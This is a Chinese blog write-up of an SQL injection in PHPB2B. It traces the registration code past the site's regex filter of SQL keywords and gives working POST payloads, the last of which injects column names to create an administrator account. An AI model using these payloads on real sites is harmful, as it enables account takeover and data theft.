PHPB2B某处sql注入(危害巨大)

时间:2015-1-28    作者:admin    分类: 技术交流


PHPB2B某处sql注入



官网下载的最新版本



绕过全局防注入。



我们先看看全局防注入怎么写的。



以下是全局防注入用到的函数

code 区域
function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){

        if(is_array($StrFiltValue))

        {

                $StrFiltValue=@implode(",", $StrFiltValue);

        }

        if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){

                echo $StrFiltValue;

                header_sent("Warning : Illegal operation!");

                exit();

        }

}

function pb_hack_check(){

        $getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

        $postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

        $_PG=array_merge($_GET,$_POST);

        foreach($_PG as $key=>$value){

                pb_attack_filter($key,$value,$getfilter);

                pb_attack_filter($key,$value,$postfilter);

        }

}



其核心在于,对post和get传递过来的参数值进行了一次过滤

code 区域
foreach($_PG as $key=>$value){

                pb_attack_filter($key,$value,$getfilter);

                pb_attack_filter($key,$value,$postfilter);

        }



但是还是有不足的地方。



register.php



83-117行

code 区域
if(isset($_POST['register'])){

        $is_company = false;

        $if_need_check = false;

        $register_type = trim($_POST['register']);

        $register_typename = trim($_POST['typename']);

        pb_submit_check('data');

        $default_membergroupid_res = $pdb->GetRow("SELECT * FROM {$tb_prefix}membertypes WHERE name='".$register_typename."'");

        $default_membergroupid = $default_membergroupid_res['default_membergroup_id'];

        if(empty($default_membergroupid)) $default_membergroupid = $membergroup->field("id","is_default=1");

        if ($default_membergroupid_res['id']>1) {

                $is_company = true;

        }

        $member->setParams();

        $memberfield->setParams();

        //exception

        if(!$member->checkException($member->params['data']['member'], array(

        'username',

        'email',

        'userpass',

        ))){

                flash("sys_error");

        }

        $member->params['data']['member']['membergroup_id'] = $default_membergroupid;

        $time_limits = $pdb->GetOne("SELECT default_live_time FROM {$tb_prefix}membergroups WHERE id={$default_membergroupid}");

        $member->params['data']['member']['service_start_date'] = $time_stamp;

        $member->params['data']['member']['service_end_date'] = $membergroup->getServiceEndtime($time_limits);

        $member->params['data']['member']['membertype_id'] = ($is_company)?2:1;

        if($member_reg_auth=="1" || $member_reg_auth!=0 || !empty($G['setting']['new_userauth'])){

                $member->params['data']['member']['status'] = 0;

                $if_need_check = true;

        }else{

                $member->params['data']['member']['status'] = 1;

        }

        $updated = false;

        $updated = $member->Add();



代码比较长,其中比较关键的函数有

第96行



$memberfield->setParams();





看看setparams函数怎么写的

code 区域
function setParams($extra = array()) {

                $params = array();

                if (isset($_POST)) {

                        $params['form'] = $_POST;

                        if (ini_get('magic_quotes_gpc') === '1') {

                                $params['form'] = pb_addslashes($params['form']);

                        }

                        if (pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE')) {

                                $params['form']['_method'] = pb_getenv('HTTP_X_HTTP_METHOD_OVERRIDE');

                        }

                        if (isset($params['form']['_method'])) {

                                if (isset($_SERVER) && !empty($_SERVER)) {

                                        $_SERVER['REQUEST_METHOD'] = $params['form']['_method'];

                                } else {

                                        $_ENV['REQUEST_METHOD'] = $params['form']['_method'];

                                }

                                unset($params['form']['_method']);

                        }

                }

                $params = array_merge($extra, $params);

                if (isset($_GET)) {

                        if (ini_get('magic_quotes_gpc') === '1') {

                                $url = stripslashes_deep($_GET);

                        } else {

                                $url = $_GET;

                        }

                        array_unique($url);

                        if (isset($params['url'])) {

                                $params['url'] = array_merge($params['url'], $url);

                        } else {

                                $params['url'] = $url;

                        }

                }               

                if (isset($params['action']) && strlen($params['action']) === 0) {

                        $params['action'] = 'list';

                }

                if (isset($params['form']['data'])) {

                        $params['data'] = $params['form']['data'];

                        unset($params['form']['data']);

                }

                $this->params = $params;

        }



代码又臭又长,其实这个函数主要的功能就是把post过来的数据全部放入当前实例的params属性中,且params是一个数组。

也就是



$_POST[a]=1--->$this->params[a]=1



然后继续往下看



在第117行



调用了$member->Add()这个函数



跟踪看看。

code 区域
function Add()

        {

                global $_PB_CACHE, $memberfield, $phpb2b_auth_key, $if_need_check;

                $error_msg = array();

                if (empty($this->params['data']['member']['username']) or 

                empty($this->params['data']['member']['userpass']) or 

                empty($this->params['data']['member']['email'])) return false;

                        //判断各种数值不能为空

                $space_name = $this->params['data']['member']['username'];

                $userpass = $this->params['data']['member']['userpass'];

                $this->params['data']['member']['userpass'] = $this->authPasswd($this->params['data']['member']['userpass']);

                if(empty($this->params['data']['member']['space_name']))

                $this->params['data']['member']['space_name'] = PbController::toAlphabets($space_name);//Todo:

                $uip = pb_ip2long(pb_getenv('REMOTE_ADDR'));

                if(empty($uip)){

                        pheader("location:".URL."redirect.php?message=".urlencode(L('sys_error')));

                }

                $this->params['data']['member']['last_login'] = $this->params['data']['member']['created'] = $this->params['data']['member']['modified'] = $this->timestamp;

                $this->params['data']['member']['last_ip'] = pb_get_client_ip('str');

                $email_exists = $this->checkUserExistsByEmail($this->params['data']['member']['email']);

                if ($email_exists) {

                        flash("email_exists", null, 0);

                }

                $if_exists = $this->checkUserExist($this->params['data']['member']['username']);

                //检测是否已经存在该用户名

                if ($if_exists) {

                        flash('member_has_exists', null, 0);    //如果已存在就跳出

                }else{

                        $this->save($this->params['data']['member']);

                        $key = $this->table_name."_id";

                        if($this->ins_passport) $this->passport(array($this->$key, $this->params['data']['member']['username'], $userpass, $this->params['data']['member']['email']), "reg");

                        $memberfield->primaryKey = "member_id";

                        $memberfield->params['data']['memberfield']['member_id'] = $this->$key;

                        $memberfield->params['data']['memberfield']['reg_ip'] = $this->params['data']['member']['last_ip'];

                        //各种参数设定完毕

                        $memberfield->save($memberfield->params['data']['memberfield']);        //带入save函数执行

                        if (!$if_need_check) {

                                $user_info['id'] = $this->$key;

                                $user_info['username'] = $this->params['data']['member']['username'];

                                $user_info['userpass'] = $userpass;

                                $user_info['useremail'] = $this->params['data']['member']['email'];

                                $user_info['lifetime'] = $this->timestamp+86400;

                                $user_info['is_admin'] = 0;

                                $this->putLoginStatus($user_info);

                        }

                }

                return true;

        }



函数代码比较长,所以我在关键地方做了注释。

总之就是会将$memberfield->params['data']['memberfield']这个参数传入到save函数中



而$memberfield->params['data']['memberfield']这个参数恰恰是由$memberfield->setParams();而得到值的,也就是我们可以直接post传入数据。



如图,为了演示方便,我把$memberfield->params['data']['memberfield']内容打印出来

1.jpg



清楚了这些,我们再来看save函数究竟做了什么。

code 区域
function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)

        {

                $new_id = $result = false;

                $keys = array_keys($posts);

                $cols = implode($keys,",");

                $tbname = (is_null($tbname))? $this->getTable():trim($tbname);

                $this->table_name = $tbname;

                //Todo:2010.04.14, by steven

                if(!empty($id)){

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";

                }elseif(!empty($posts[$this->primaryKey])){

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";

                }else{

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";

                }



$id默认为空

所以最后拼接成的sql为

code 区域
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";



$cols是怎么来的?

code 区域
$keys = array_keys($posts);

                $cols = implode($keys,",");



原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。

然后我们打印出最后执行的select语句

code 区域
formhash=95a43736362e5dd0®ister=1&typename=1&data[member][username]=saaaad&data[member][userpass]=11&data[member][email]=asaaadsd&data[memberfield][a']=123&data[memberfield][a%20test%20b]=123


1.png



已经构成了注入了,如果要想盲注出管理员的密码,在这里就可以完成了。



但是因为程序员的疏忽,这个我们可以做得更多。



我们来看一下完整的save函数

code 区域
function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)

        {

                $new_id = $result = false;

                $keys = array_keys($posts);

                $cols = implode($keys,",");

                $tbname = (is_null($tbname))? $this->getTable():trim($tbname);

                $this->table_name = $tbname;

                //Todo:2010.04.14, by steven

                if(!empty($id)){

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";

                }elseif(!empty($posts[$this->primaryKey])){

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";

                }else{

                        $sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";

                }

                if (!is_null($conditions)) {

                        if (!empty($conditions)) {

                                if (is_array($conditions)) {

                                        $condition = implode(" AND ", $conditions);

                                }else{

                                        $condition = $conditions;

                                }

                        }

                        $sql.= " AND ".$condition;

                }

                $rs = $this->dbstuff->Execute($sql);

                $record = array();

                foreach ($keys as $colname) {

                        if(pb_inject_check($colname)){  //检测到恶意字段,就去除

                                unset($posts[$colname]);

                                continue;

                        }

                        //过滤值中的恶意字符

                        $sp_search = array('\\\"', "\\\'", "'"," ", '\n','\\\"');

                        $sp_replace = array('"', ''', ''',' ', '<br />','');

                        $slash_col = str_replace($sp_search, $sp_replace, $posts[$colname]);

                        if (!defined("IN_PBADMIN")) {

                                $slash_col = sens_str($slash_col);

                        }

                        $record[$colname] = stripslashes($slash_col);   

                }

                if (!defined("IN_PBADMIN") && isset($record['id'])) {

                        unset($record['id']);

                }

                if (strtolower($action) == "update") {

                        $insertsql = $this->dbstuff->GetUpdateSQL($rs,$record);

                    $new_id = false;

                }else {

                        //$action不是update,将$rs带入GetInsertSQL函数执行

                        $insertsql = $this->dbstuff->GetInsertSQL($rs,$record);

                        $new_id = true;

                }

                if($insertsql) $result = $this->dbstuff->Execute($insertsql);

                if (!$result || empty($result)) {

                        return false;

                }else {

                    if($new_id){

                        $insert_key = $tbname."_id";

                        $this->$insert_key = $this->dbstuff->Insert_ID();

                    }

                        return true;

                }

        }

代码比较长,我已经把关键的地方给了注释了。

于是来到了GetInsertSQL函数

        function GetInsertSQL(&$rs, $arrFields,$magicq=false,$force=null)

        {

                global $ADODB_INCLUDED_LIB;

                if (!isset($force)) {

                        global $ADODB_FORCE_TYPE;

                        $force = $ADODB_FORCE_TYPE;

                }

                if (empty($ADODB_INCLUDED_LIB)) include(ADODB_DIR.'/adodb-lib.inc.php');

                return _adodb_getinsertsql($this,$rs,$arrFields,$magicq,$force);

        }



跟着走到_adodb_getinsertsql函数

这个函数也特别长



在libraries/adodb/adodb-lib.inc.php中



762-902行

code 区域
function _adodb_getinsertsql(&$zthis,&$rs,$arrFields,$magicq=false,$force=2)

{

static $cacheRS = false;

static $cacheSig = 0;

static $cacheCols;

        global $ADODB_QUOTE_FIELDNAMES;

        $tableName = '';

        $values = '';

        $fields = '';

        $recordSet = null;

        $arrFields = _array_change_key_case($arrFields);

        $fieldInsertedCount = 0;

        if (is_string($rs)) {

                //ok we have a table name

                //try and get the column info ourself.

                $tableName = $rs;

                //we need an object for the recordSet

                //because we have to call MetaType.

                //php can't do a $rsclass::MetaType()

                $rsclass = $zthis->rsPrefix.$zthis->databaseType;

                $recordSet = new $rsclass(-1,$zthis->fetchMode);

                $recordSet->connection = $zthis;

                if (is_string($cacheRS) && $cacheRS == $rs) {

                        $columns = $cacheCols;

                } else {

                        $columns = $zthis->MetaColumns( $tableName );

                        $cacheRS = $tableName;

                        $cacheCols = $columns;

                }

        } else if (is_subclass_of($rs, 'adorecordset')) {

                if (isset($rs->insertSig) && is_integer($cacheRS) && $cacheRS == $rs->insertSig) {

                        $columns = $cacheCols;

                } else {

                        for ($i=0, $max=$rs->FieldCount(); $i < $max; $i++)

                                $columns[] = $rs->FetchField($i);

                        $cacheRS = $cacheSig;

                        $cacheCols = $columns;

                        $rs->insertSig = $cacheSig++;

                }

                $recordSet = $rs;

        } else {

                printf(ADODB_BAD_RS,'GetInsertSQL');

                return false;

        }

        // Loop through all of the fields in the recordset

        foreach( $columns as $field ) {

                $upperfname = strtoupper($field->name);

                if (adodb_key_exists($upperfname,$arrFields,$force)) {

                        $bad = false;

                        if ((strpos($upperfname,' ') !== false) || ($ADODB_QUOTE_FIELDNAMES)) {

                                switch ($ADODB_QUOTE_FIELDNAMES) {

                                case 'LOWER':

                                        $fnameq = $zthis->nameQuote.strtolower($field->name).$zthis->nameQuote;break;

                                case 'NATIVE':

                                        $fnameq = $zthis->nameQuote.$field->name.$zthis->nameQuote;break;

                                case 'UPPER':

                                default:

                                        $fnameq = $zthis->nameQuote.$upperfname.$zthis->nameQuote;break;

                                }

                        } else

                                $fnameq = $upperfname;

                        $type = $recordSet->MetaType($field->type);

            /********************************************************/

            if (is_null($arrFields[$upperfname])

                || (empty($arrFields[$upperfname]) && strlen($arrFields[$upperfname]) == 0)

                || $arrFields[$upperfname] === $zthis->null2null

                                )

               {

                    switch ($force) {

                        case 0: // we must always set null if missing

                                                        $bad = true;

                                                        break;

                        case 1:

                            $values  .= "null, ";

                        break;

                        case 2:

                            //Set empty

                            $arrFields[$upperfname] = "";

                            $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,$arrFields, $magicq);

                        break;

                                                default:

                        case 3:

                            //Set the value that was given in array, so you can give both null and empty values

                                                        if (is_null($arrFields[$upperfname]) || $arrFields[$upperfname] === $zthis->null2null) {

                                                                $values  .= "null, ";

                                                        } else {

                                        $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq, $arrFields, $magicq);

                                        }

                                break;

                        } // switch

            /*********************************************************/

                        } else {

                                //we do this so each driver can customize the sql for

                                //DB specific column types.

                                //Oracle needs BLOB types to be handled with a returning clause

                                //postgres has special needs as well

                                $values .= _adodb_column_sql($zthis, 'I', $type, $upperfname, $fnameq,

                                                                                           $arrFields, $magicq);

                        }

                        if ($bad) continue;

                        // Set the counter for the number of fields that will be inserted.

                        $fieldInsertedCount++;

                        // Get the name of the fields to insert

                        $fields .= $fnameq . ", ";

                }

        }

        // If there were any inserted fields then build the rest of the insert query.

        if ($fieldInsertedCount <= 0)  return false;

        // Get the table name from the existing query.

        if (!$tableName) {

                if (!empty($rs->tableName)) $tableName = $rs->tableName;

                else if (preg_match("/FROM\s+".ADODB_TABLE_REGEX."/is", $rs->sql, $tableName)){

                        $tableName = $tableName[1];

                }

                else

                        return false;

        }

        // Strip off the comma and space on the end of both the fields

        // and their values.

        $fields = substr($fields, 0, -2);

        $values = substr($values, 0, -2);

        // Append the fields and their values to the insert query.

        return 'INSERT INTO '.$tableName.' ( '.$fields.' ) VALUES ( '.$values.' )';

}



代码太长,我就不慢慢分析了。



这个函数的主要功能就是匹配出先前那个select语句中的各个字段以及表名。然后对数据库中该表做一个插入操作。



为了更直观表示,我将语句都打印出来。



我们直接来插入一条管理员数据,把自己的账号提成管理员吧。



post提交

code 区域
formhash=db91c900f7efb4a8®ister=1&typename=1&data[member][username]=123dba&data[member][userpass]=11&data[member][email]=1231aad&data[memberfield][member_id,level,last_name%20from%20pb_wwd_adminfields%23]=1&data[memberfield][level]=0&data[memberfield][status]=1&data[memberfield][last_name]=test



成功添加了一条管理员记录。

账号是123dba密码是11

ps:



因为表前缀是默认随机生成的,所以必须先通过盲注information这个数据库中的tables表,拿到表前缀,而后才能拿到管理员权限。



不对对于拥有注入来说,不都是洒洒水么


标签: 注入 PHPB2B